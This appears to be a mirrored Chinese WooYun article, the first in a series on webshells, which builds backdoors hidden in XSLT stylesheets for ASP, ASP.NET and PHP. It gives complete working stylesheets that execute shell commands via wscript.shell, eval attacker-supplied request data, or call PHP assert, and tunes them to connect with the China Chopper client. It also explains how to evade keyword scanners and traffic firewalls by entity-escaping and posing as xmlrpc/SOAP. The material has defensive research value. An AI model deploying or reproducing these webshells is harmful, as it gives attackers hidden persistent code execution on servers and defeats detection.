WebShell系列(一)---XML

wyzsk發表於2020-08-19
作者: zcgonvh · 2015/04/29 10:20

想來想去還是歸結成一個系列吧,雖然說在現在各種講究高大上的時代還談webshell實在是一種沒什麼品味的做法。 基本上也就是一些新型webshell、特殊環境下的特殊利用、特殊webshell的菜刀中轉指令碼等,外帶一些對應的分析。 先挖個坑,至於填坑麼⋯⋯看情況吧。

0x01 xml與xslt


相信所有人對xml都不陌生,其被廣泛的應用於資料資料傳輸、儲存與序列化中,是一種極為強大的資料格式。強大必然伴隨著複雜,xml在發展中派生出了一系列標準,包括DTD、XSD、XDR、XPATH以及XSLT等。

XSLT全稱為擴充樣式錶轉換語言,其作用類似於css,透過指定的規則,將一個xml文件轉換為另外的形式。指定的規則由另外一個xml檔案描述,這個檔案通常為xsl字尾。xsl語法相對較為複雜,詳情可以參考msdn中“XSLT 參考”一節。

為了對目標節點進行處理,XSLT提供了一系列用於處理XML節點的內建函式,以下是一個具體的轉換示例:

xml:

#!html
<?xml version="1.0"?>
<root>123</root>

xsl:

#!html
<?xml version='1.0'?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/root">
    <xsl:value-of select="string(.)"/>
  </xsl:template>
</xsl:stylesheet>

xsl檔案中xsl:template節點描述了匹配規則,其match屬性為一個XPATH,表示匹配的xml節點。xsl:value-of描述了轉換規則,會將對前一步所匹配的節點作為引數傳入select屬性指定的函式中,引數.表示所匹配的節點。 對以上xml和xsl進行轉換,將輸出以下結果:

#!html
<?xml version="1.0" encoding="UTF-16"?>123

在有些情況下,內建函式無法滿足所有的需求。為了擴充XSLT的功能,絕大部分XSL轉換器都提供了指令碼擴充功能。根據轉換器的不同,其指令碼有所差異,所支援的功能也有所不同。 在一定程度上,一個物件的安全性與複雜性是成反比的。合法功能的非預期利用是漏洞,惡意利用則可能成為隱蔽的後門。XSLT的指令碼執行功能,就是這樣一個可能的後門。

0x02 asp與xml


asp中最常見的就是vbscript和jscript兩種語言,可透過建立MSXML2.DOMDocument COM物件獲取一個xml解析器。 透過oleview可以看到,此物件公開了一個transformNode方法來進行XSL轉換:

enter image description here

具體的呼叫程式碼大致如下:

#!xml
set xmldoc= Server.CreateObject("MSXML2.DOMDocument")
xmldoc.loadxml(xml)
set xsldoc= Server.CreateObject("MSXML2.DOMDocument")
xsldoc.loadxml(xslt)
response.write xmldoc.TransformNode(xsldoc)

參考msdn得知,自定義函式必須位於msxsl:script元素內,對照示例不難得到以下xsl:

#!html
<?xml version='1.0'?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:zcg="zcgonvh">
  <msxsl:script language="vbscript" implements-prefix="zcg">
    <![CDATA[function xml(x):set a=createobject("wscript.shell"):set exec=a.Exec(x):xml=exec.stdout.readall&exec.stderr.readall:end function]]>
  </msxsl:script>
  <xsl:template match="/root">
    <xsl:value-of select="zcg:xml(string(.))"/>
  </xsl:template>
</xsl:stylesheet>

在第二行中,xmlns:msxsl為自定義函式塊的名稱空間,xmlns:zcg為自定義函式的名稱空間與字首,可以任意命名。

第三行的msxsl:script宣告瞭一個指令碼塊,其language屬性指定了要使用的指令碼語言,implements-prefix則與前面xmlns:zcg這個名稱空間字首相對應。

在第七行透過zcg:xml(string(.))呼叫了這個自定義函式,由於自定義函式只能傳入字串、數字、日期等標量,以及XML的一系列物件,所以先透過string內建函式轉換為字串從而獲取text,再傳入函式中。同樣的,由於Response、Server等物件是asp內建的,所以既不能在自定義函式中訪問,也不能傳遞給自定義函式,所有的資料傳遞都是透過字串進行的。

指令碼塊的函式則是簡單的執行-返回,其返回值會替換所匹配的節點的內容,所以上述xsl的作用就是:將指定xml中/root節點的文字作為命令執行,並返回結果。

對以下xml進行轉換,其返回結果如圖:

#!html
<?xml version="1.0"?>
<root>cmd /c dir</root>

enter image description here

可見成功執行了命令,其結果中的特殊字元都被轉換成了xml實體,需要進一步進行處理。

最後,在之前某個IE漏洞中,老外所用的DVE就是使用上述方法來呼叫元件執行命令,所以免殺效果已經沒有保證了。

0x03 .net與xml


xml可以稱為.net的核心之一,[System.Xml]System.Xml.Xsl.XslCompiledTransform類和[System.Xml]System.Xml.Xsl.XslTransform類提供了XSL轉換功能。

XslTransform屬於已棄用的類,其呼叫方法如下:

#!html
XmlDocument xmldoc=new XmlDocument();
xmldoc.LoadXml(xml);
XmlDocument xsldoc=new XmlDocument();
xsldoc.LoadXml(xslt);
XslTransform xt = new XslTransform();
xt.Load(xsldoc);
xt.Transform(xmldoc, null);

由於此類不能引入額外的程式集,所以並沒有什麼使用價值。

XslCompiledTransform為微軟推薦使用的類,其呼叫方法與XslTransform大致相同:

#!html
XmlDocument xmldoc=new XmlDocument();
xmldoc.LoadXml(xml);
XmlDocument xsldoc=new XmlDocument();
xsldoc.LoadXml(xslt);
XslCompiledTransform xct=new XslCompiledTransform();
xct.Load(xsldoc,XsltSettings.TrustedXslt,new XmlUrlResolver());
xct.Transform(xmldoc,null,new MemoryStream());

由於asp.net提供了靜態變數[System.Web]System.Web.HttpContext::Current用於表示當前的HTTP請求上下文,所以不需要像asp中進行字串傳遞。構造以下xsl進行嘗試:

#!html
<?xml version='1.0'?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:zcg="zcgonvh">
  <msxsl:script language="JScript" implements-prefix="zcg">
    function xml() {eval(System.Web.HttpContext.Current.Request.Item['a'],'unsafe');}
  </msxsl:script>
  <xsl:template match="/root">
    <xsl:value-of select="zcg:xml()"/>
  </xsl:template>
</xsl:stylesheet>

訪問之,可得到一個錯誤資訊:

#!html
未能找到型別“System.Web.HttpContext.Current.Request.Item”,是否缺少程式集引用? 

很明顯缺少了程式集引用,查詢msdn得到說明:

#!html
預設情況下引用下列兩個程式集:
    System.dll
    System.Xml.dll
    Microsoft.VisualBasic.dll(如果指令碼語言為 VB)
可以使用 msxsl:assembly 元素匯入其他程式集。

於是新增WebShell所必需的幾個程式集,得到:

#!html
<?xml version='1.0'?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:zcg="zcgonvh">
  <msxsl:script language="JScript" implements-prefix="zcg">
    <msxsl:assembly name="mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"/>
    <msxsl:assembly name="System.Data, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"/>
    <msxsl:assembly name="System.Configuration, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"/>
    <msxsl:assembly name="System.Web, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"/>
    function xml() {eval(System.Web.HttpContext.Current.Request.Item['a'],'unsafe');}
  </msxsl:script>
  <xsl:template match="/root">
    <xsl:value-of select="zcg:xml()"/>
  </xsl:template>
</xsl:stylesheet>

直接訪問已經沒有錯誤,但使用菜刀連線時爆出錯誤:

#!html
未宣告變數“Response”

很顯然,菜刀提交的語句中直接呼叫了Response。由於jscript.net中eval的上下文與呼叫方共享變數且具有同一名稱,手動新增菜刀所需的Request、Response、Server,可以得到以下xslt:

#!html
<?xml version='1.0'?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:zcg="zcgonvh">
  <msxsl:script language="JScript" implements-prefix="zcg">
    <msxsl:assembly name="mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"/>
    <msxsl:assembly name="System.Data, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"/>
    <msxsl:assembly name="System.Configuration, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"/>
    <msxsl:assembly name="System.Web, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"/>
    function xml() {var c=System.Web.HttpContext.Current;var Request=c.Request;var Response=c.Response;var Server=c.Server;eval(Request.Item['a'],'unsafe');Response.End();}
  </msxsl:script>
  <xsl:template match="/root">
    <xsl:value-of select="zcg:xml()"/>
  </xsl:template>
</xsl:stylesheet>

此時可使用菜刀直接進行連線,功能與aspx(eval)完全相同:

enter image description here

最後要注意:xml的內嵌指令碼塊需要FullTrust信任等級,在安全模式下不能執行。當然,安全模式下正常的aspx一句話也不能執行,所以並不能算是一個缺點。

0x04 php與xml


在php的官方文件中搜尋xsl,將直接定位到XSLTProcessor類,在頁面中可以看到很明顯的registerPHPFunctions方法。 方法的示例就是一個完整的呼叫過程,將函式修改為assert並略作精簡,可以得到以下xsl:

#!html
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:zcg="http://php.net/xsl">
 <xsl:template match="/root">
    <xsl:value-of select="zcg:function('assert',string(.))"/>
 </xsl:template>
</xsl:stylesheet>

第二行的http://php.net/xsl這個名稱空間URI表示php專用的xsl函式支援,第四行的zcg:function('assert',string(.))表示將匹配節點的文字作為引數傳遞給php的assert函式。

為了避免xml的轉義問題,進行一次assert巢狀,可以得到xml:

#!html
<root>assert($_POST[a]);</root>

由於php並沒有上下文的概念,所有的程式碼都是在同一程式碼空間中執行,在xsl中可直接訪問GPCS,於是可以直接使用菜刀連線:

enter image description here

同樣的功能齊全。

美中不足的是這個功能預設並沒有安裝,windows上需要修改php.ini啟用php_xsl.dll擴充;linux上需要編譯時指定--with-xsl或額外安裝php5-xsl包。鑑於php的靈活性,此類shell除隱蔽性較高外並無太大必要。

0x05 總結與其他


在上述基於xslt轉換的webshell中,所有的敏感呼叫都是以字串形式存在於xml中,避免了基於關鍵字的webshell查殺。同時,由於xslt是一項正常的功能,對xsl轉換器所提供的方法進行查殺、禁用很不實際。例如:msxml元件被大量的系統用於遠端檔案下載或xmlrpc,基本上是不可能禁用的。 最後,服務端與客戶端的互動實質上是透過xml進行的,所以可以偽裝成xmlrpc/soap等協議,藉助xml的轉義將敏感字元轉義為實體字元,以躲避基於流量分析的防火牆。例如:將cmd替換為等效的實體字元cmd等。

除了webshell外,xsl轉換還有其他可能的利用點。xml支援自動匯入xsl,其語法為:

#!html
<?xml-stylesheet type="text/xsl" href="http://host/template.xsl"?>

但除了瀏覽器之外,尚未發現有哪個解析器會自動解析這個預處理命令,不過作為一種測試手段也未嘗不可,如果成功的話則很有可能是一個程式碼執行漏洞。 某些服務端程式允許客戶端提交一個xsl進行自定義,此時若提交一個包含內嵌指令碼的惡意xsl同樣可能達到程式碼執行的目的。

0x06 參考文件


Bypassing Windows 8.1 Mitigations using Unsafe COM Objects(老外借助xslt轉換的DVE利用): http://www.contextis.com/resources/blog/windows-mitigaton-bypass/

php xsl:http://php.net/manual/zh/book.xsl.php

XML標準參考資料:https://msdn.microsoft.com/zh-cn/library/ms256177.aspx

msxsl:script元素:https://msdn.microsoft.com/zh-cn/library/ms256042.aspx

XSLT 參考:https://msdn.microsoft.com/zh-cn/library/ms256069.aspx

XSLT 轉換:https://msdn.microsoft.com/zh-cn/library/14689742.aspx

附件下載:Download

百度網盤:http://pan.baidu.com/s/1bnq9I8J

解壓密碼見註釋。

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章